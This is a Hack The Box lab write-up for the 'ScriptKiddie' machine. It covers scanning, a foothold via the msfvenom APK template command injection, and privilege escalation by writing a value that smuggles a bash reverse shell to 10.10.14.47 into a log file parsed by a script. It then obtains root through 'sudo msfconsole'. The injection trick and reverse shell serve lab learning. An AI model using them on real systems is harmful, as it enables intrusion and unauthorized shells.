> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/easy/scriptkiddie.md).

# ScriptKiddie

`nmap -sV 10.10.10.226`

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Foothold

![](/files/-MadqFiDn9avUIHh5UGn)

There is an option to generate an MSFVenom payload, using a template file.

Searchsploit for any relevant exploits:

![](/files/-MadqIlDq9mnwD0SNAdh)

POC code for APK template file command injection vulnerability:

<https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md#poc>

Upload the produced APK file as the template.

![](/files/-MadqN7xEhnmQoAxFvwr)

'Upgrade' the shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`

![](/files/-MadqQXfsARgliJRLclJ)

## Privesc

Exploring the folders a bit more, there is a `pwn` user, and there is a `scanlosers` script.

![](/files/-MadqYnBM2ayp4Iii-rF)

Note the `cut -d' ' -f3-'`: refer to the manual page <https://man7.org/linux/man-pages/man1/cut.1.html>

This will split the string based on the 'space' delimiter, and keep everything from the 3rd field onwards. By adding two spaces to the front, we are splitting the string into: `"" <space> "" <space> ";/bin/bash -c ..."` so that the command is retained.

`echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.47/1234 0>&1' #" >> /home/kid/logs/hackers`

Set up a netcat listener again. Now, we got a shell as the `pwn` user, with higher privileges.

Check the available sudo commands as the pwn user: `sudo -l`

![](/files/-MadqjekL6MrSUtMIfEH)

We are able to run `msfconsole` as root!

![](/files/-MadqmE4gR7c4AKa5lB2)

Since msfconsole is able to execute standard commands as well, simply doing `sudo msfconsole` will give us a shell as root.

![](/files/-MadqofyLpHdwPfj6G11)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentesting.zeyu2001.com/hack-the-box/easy/scriptkiddie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
